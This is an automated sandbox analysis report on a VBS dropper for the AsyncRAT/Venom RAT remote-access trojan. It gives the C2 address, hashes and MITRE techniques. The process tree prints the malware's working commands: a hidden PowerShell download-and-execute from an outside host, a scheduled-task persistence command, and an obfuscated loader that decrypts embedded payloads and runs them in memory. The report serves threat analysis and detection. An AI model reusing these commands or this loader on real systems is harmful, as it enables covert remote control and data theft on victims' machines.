asyncrat | 6ddb80d5f672a132f45f9a0114d465aa35bb7d3b31aca5473b42a7174eb018ff

Analysis

max time kernel
148s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
12-12-2024 14:27

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General

Target

Turbo Generator_Pictures & Drawing.vbs
Size

78KB
MD5

870907ad00a8f53e022f042c92727d34
SHA1

8789f00e533da9b0a8bd380b9264cfaefe8ff7bc
SHA256

6ddb80d5f672a132f45f9a0114d465aa35bb7d3b31aca5473b42a7174eb018ff
SHA512

32fbacd4338eced63990c4e0f7327fc3fc4282d497e95724445476f42acf8c1378238d345e5ba53afe86e39d860643657523b42cc5982832162e75cd7d68cde1
SSDEEP

1536:KbiY5vZc5xg80mnBAH5JQGnDc3GiXs/P0Uese0A+giS5+p:giUvQYONp3Gi8/PW0Ats

Score

10^/10

asyncrat hp elite execution rat

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

HP Elite

45.88.88.7:4675

Mutex

gbchkhrksazddij

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/2536-65-0x00000184F2D70000-0x00000184F2D88000-memory.dmp	family_asyncrat

Blocklisted process makes network request 5 IoCs

flow	pid	Process
36	2536	powershell.exe
40	2536	powershell.exe
45	2536	powershell.exe
46	2536	powershell.exe
47	2536	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1784	powershell.exe
4836	powershell.exe
2200	powershell.exe
2536	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
1784	powershell.exe
1784	powershell.exe
4836	powershell.exe
4836	powershell.exe
2200	powershell.exe
2200	powershell.exe
2536	powershell.exe
2536	powershell.exe
2536	powershell.exe
2536	powershell.exe
2536	powershell.exe
2536	powershell.exe
2536	powershell.exe
2536	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1784	powershell.exe
Token: SeDebugPrivilege	4836	powershell.exe
Token: SeDebugPrivilege	2200	powershell.exe
Token: SeIncreaseQuotaPrivilege	2200	powershell.exe
Token: SeSecurityPrivilege	2200	powershell.exe
Token: SeTakeOwnershipPrivilege	2200	powershell.exe
Token: SeLoadDriverPrivilege	2200	powershell.exe
Token: SeSystemProfilePrivilege	2200	powershell.exe
Token: SeSystemtimePrivilege	2200	powershell.exe
Token: SeProfSingleProcessPrivilege	2200	powershell.exe
Token: SeIncBasePriorityPrivilege	2200	powershell.exe
Token: SeCreatePagefilePrivilege	2200	powershell.exe
Token: SeBackupPrivilege	2200	powershell.exe
Token: SeRestorePrivilege	2200	powershell.exe
Token: SeShutdownPrivilege	2200	powershell.exe
Token: SeDebugPrivilege	2200	powershell.exe
Token: SeSystemEnvironmentPrivilege	2200	powershell.exe
Token: SeRemoteShutdownPrivilege	2200	powershell.exe
Token: SeUndockPrivilege	2200	powershell.exe
Token: SeManageVolumePrivilege	2200	powershell.exe
Token: 33	2200	powershell.exe
Token: 34	2200	powershell.exe
Token: 35	2200	powershell.exe
Token: 36	2200	powershell.exe
Token: SeIncreaseQuotaPrivilege	2200	powershell.exe
Token: SeSecurityPrivilege	2200	powershell.exe
Token: SeTakeOwnershipPrivilege	2200	powershell.exe
Token: SeLoadDriverPrivilege	2200	powershell.exe
Token: SeSystemProfilePrivilege	2200	powershell.exe
Token: SeSystemtimePrivilege	2200	powershell.exe
Token: SeProfSingleProcessPrivilege	2200	powershell.exe
Token: SeIncBasePriorityPrivilege	2200	powershell.exe
Token: SeCreatePagefilePrivilege	2200	powershell.exe
Token: SeBackupPrivilege	2200	powershell.exe
Token: SeRestorePrivilege	2200	powershell.exe
Token: SeShutdownPrivilege	2200	powershell.exe
Token: SeDebugPrivilege	2200	powershell.exe
Token: SeSystemEnvironmentPrivilege	2200	powershell.exe
Token: SeRemoteShutdownPrivilege	2200	powershell.exe
Token: SeUndockPrivilege	2200	powershell.exe
Token: SeManageVolumePrivilege	2200	powershell.exe
Token: 33	2200	powershell.exe
Token: 34	2200	powershell.exe
Token: 35	2200	powershell.exe
Token: 36	2200	powershell.exe
Token: SeIncreaseQuotaPrivilege	2200	powershell.exe
Token: SeSecurityPrivilege	2200	powershell.exe
Token: SeTakeOwnershipPrivilege	2200	powershell.exe
Token: SeLoadDriverPrivilege	2200	powershell.exe
Token: SeSystemProfilePrivilege	2200	powershell.exe
Token: SeSystemtimePrivilege	2200	powershell.exe
Token: SeProfSingleProcessPrivilege	2200	powershell.exe
Token: SeIncBasePriorityPrivilege	2200	powershell.exe
Token: SeCreatePagefilePrivilege	2200	powershell.exe
Token: SeBackupPrivilege	2200	powershell.exe
Token: SeRestorePrivilege	2200	powershell.exe
Token: SeShutdownPrivilege	2200	powershell.exe
Token: SeDebugPrivilege	2200	powershell.exe
Token: SeSystemEnvironmentPrivilege	2200	powershell.exe
Token: SeRemoteShutdownPrivilege	2200	powershell.exe
Token: SeUndockPrivilege	2200	powershell.exe
Token: SeManageVolumePrivilege	2200	powershell.exe
Token: 33	2200	powershell.exe
Token: 34	2200	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2536	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 3852 wrote to memory of 1784	3852	WScript.exe	83
PID 3852 wrote to memory of 1784	3852	WScript.exe	83
PID 3852 wrote to memory of 4504	3852	WScript.exe	100
PID 3852 wrote to memory of 4504	3852	WScript.exe	100
PID 4504 wrote to memory of 4868	4504	cmd.exe	102
PID 4504 wrote to memory of 4868	4504	cmd.exe	102
PID 4504 wrote to memory of 4836	4504	cmd.exe	103
PID 4504 wrote to memory of 4836	4504	cmd.exe	103
PID 4836 wrote to memory of 2200	4836	powershell.exe	104
PID 4836 wrote to memory of 2200	4836	powershell.exe	104
PID 4836 wrote to memory of 4348	4836	powershell.exe	107
PID 4836 wrote to memory of 4348	4836	powershell.exe	107
PID 4348 wrote to memory of 1700	4348	WScript.exe	108
PID 4348 wrote to memory of 1700	4348	WScript.exe	108
PID 1700 wrote to memory of 3744	1700	cmd.exe	110
PID 1700 wrote to memory of 3744	1700	cmd.exe	110
PID 1700 wrote to memory of 2536	1700	cmd.exe	111
PID 1700 wrote to memory of 2536	1700	cmd.exe	111

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Turbo Generator_Pictures & Drawing.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "iex (iwr -Uri https://emptyservices.xyz/vbs.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1784
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\system.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nVzb+ZnULdRKJ8Pt1u0INEzxzJ9SAW0T4lv8svV35z4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1TJD7feNK15qiqdG0L0ERw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FnHYa=New-Object System.IO.MemoryStream(,$param_var); $tuGjJ=New-Object System.IO.MemoryStream; $ZPygJ=New-Object System.IO.Compression.GZipStream($FnHYa, [IO.Compression.CompressionMode]::Decompress); $ZPygJ.CopyTo($tuGjJ); $ZPygJ.Dispose(); $FnHYa.Dispose(); $tuGjJ.Dispose(); $tuGjJ.ToArray();}function execute_function($param_var,$param2_var){ $PWDPu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $rNYVG=$PWDPu.EntryPoint; $rNYVG.Invoke($null, $param2_var);}$mhqzu = 'C:\Users\Admin\AppData\Local\Temp\system.bat';$host.UI.RawUI.WindowTitle = $mhqzu;$nhfYw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($mhqzu).Split([Environment]::NewLine);foreach ($JOXWc in $nhfYw) { if ($JOXWc.StartsWith('gVggYAWWcClzlgdUqYRt')) { $eTtfZ=$JOXWc.Substring(20); break; }}$payloads_var=[string[]]$eTtfZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:4868
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4836
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_395_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_395.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2200
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_395.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:4348
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_395.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1700
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nVzb+ZnULdRKJ8Pt1u0INEzxzJ9SAW0T4lv8svV35z4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1TJD7feNK15qiqdG0L0ERw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FnHYa=New-Object System.IO.MemoryStream(,$param_var); $tuGjJ=New-Object System.IO.MemoryStream; $ZPygJ=New-Object System.IO.Compression.GZipStream($FnHYa, [IO.Compression.CompressionMode]::Decompress); $ZPygJ.CopyTo($tuGjJ); $ZPygJ.Dispose(); $FnHYa.Dispose(); $tuGjJ.Dispose(); $tuGjJ.ToArray();}function execute_function($param_var,$param2_var){ $PWDPu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $rNYVG=$PWDPu.EntryPoint; $rNYVG.Invoke($null, $param2_var);}$mhqzu = 'C:\Users\Admin\AppData\Roaming\Windows_Log_395.bat';$host.UI.RawUI.WindowTitle = $mhqzu;$nhfYw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($mhqzu).Split([Environment]::NewLine);foreach ($JOXWc in $nhfYw) { if ($JOXWc.StartsWith('gVggYAWWcClzlgdUqYRt')) { $eTtfZ=$JOXWc.Substring(20); break; }}$payloads_var=[string[]]$eTtfZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:3744
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:2536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
005bc2ef5a9d890fb2297be6a36f01c2

SHA1
0c52adee1316c54b0bfdc510c0963196e7ebb430

SHA256
342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

SHA512
f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b66db53846de4860ca72a3e59b38c544

SHA1
2202dc88e9cddea92df4f4e8d83930efd98c9c5a

SHA256
b1a00fcea37b39a5556eea46e50711f7713b72be077a73cb16515ca3538d6030

SHA512
72eff4ae1d541c4438d3cd85d2c1a8c933744b74c7a2a4830ffe398fee88f1a8c5b241d23e94bcdf43b4be28c2747b331a280a7dc67ab67d8e72c6569f016527

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_15origud.tx1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\system.bat

Filesize
70KB

MD5
b5d7889efc929af61649d13f17bf26ad

SHA1
44b1bb834ad5b3566dd4c758995bbedb2c2ba6b6

SHA256
3490b5a8d583c702b69506a047fc21135758b8dde44d77b9d102c3e4d4a4de01

SHA512
193db0b92d1595c8cfd3ecb31dd8cc2a23e3701319418a1b465bf0bc87c2708aedcd49b099bd6fe202bcca7a24f3df9bb792280abe95dce535e32f2f7ade4c3b

Download Submit
C:\Users\Admin\AppData\Roaming\Windows_Log_395.vbs

Filesize
115B

MD5
01367727cb32d9667d01d76e99562f36

SHA1
897af778e9e6bf991106c0aa926de347ca1e881d

SHA256
8fd46196656afd362883eea38ad431c06506bd2be0d0f3a7c076ccbe3574db93

SHA512
c9c5137a863f54cdaa933beb942139e9381edd9d1c8f27fb6bbc1eb91d27820d309e9ed632d3d578e284cb96974158f0f662155a43bf704b46cc25b19d39b0d6

Download Submit
memory/1784-12-0x00007FF97C100000-0x00007FF97CBC1000-memory.dmp

Filesize
10.8MB

Download
memory/1784-17-0x00007FF97C100000-0x00007FF97CBC1000-memory.dmp

Filesize
10.8MB

Download
memory/1784-14-0x00007FF97C100000-0x00007FF97CBC1000-memory.dmp

Filesize
10.8MB

Download
memory/1784-13-0x00007FF97C100000-0x00007FF97CBC1000-memory.dmp

Filesize
10.8MB

Download
memory/1784-0-0x00007FF97C103000-0x00007FF97C105000-memory.dmp

Filesize
8KB

Download
memory/1784-11-0x00007FF97C100000-0x00007FF97CBC1000-memory.dmp

Filesize
10.8MB

Download
memory/1784-3-0x00000273BC7F0000-0x00000273BC812000-memory.dmp

Filesize
136KB

Download
memory/2536-64-0x00000184F2D60000-0x00000184F2D72000-memory.dmp

Filesize
72KB

Download
memory/2536-65-0x00000184F2D70000-0x00000184F2D88000-memory.dmp

Filesize
96KB

Download
memory/4836-32-0x000001E8F6430000-0x000001E8F6474000-memory.dmp

Filesize
272KB

Download
memory/4836-33-0x000001E8F6500000-0x000001E8F6576000-memory.dmp

Filesize
472KB

Download
memory/4836-34-0x000001E8F61B0000-0x000001E8F61B8000-memory.dmp

Filesize
32KB

Download
memory/4836-35-0x000001E8F61C0000-0x000001E8F61D2000-memory.dmp

Filesize
72KB

Download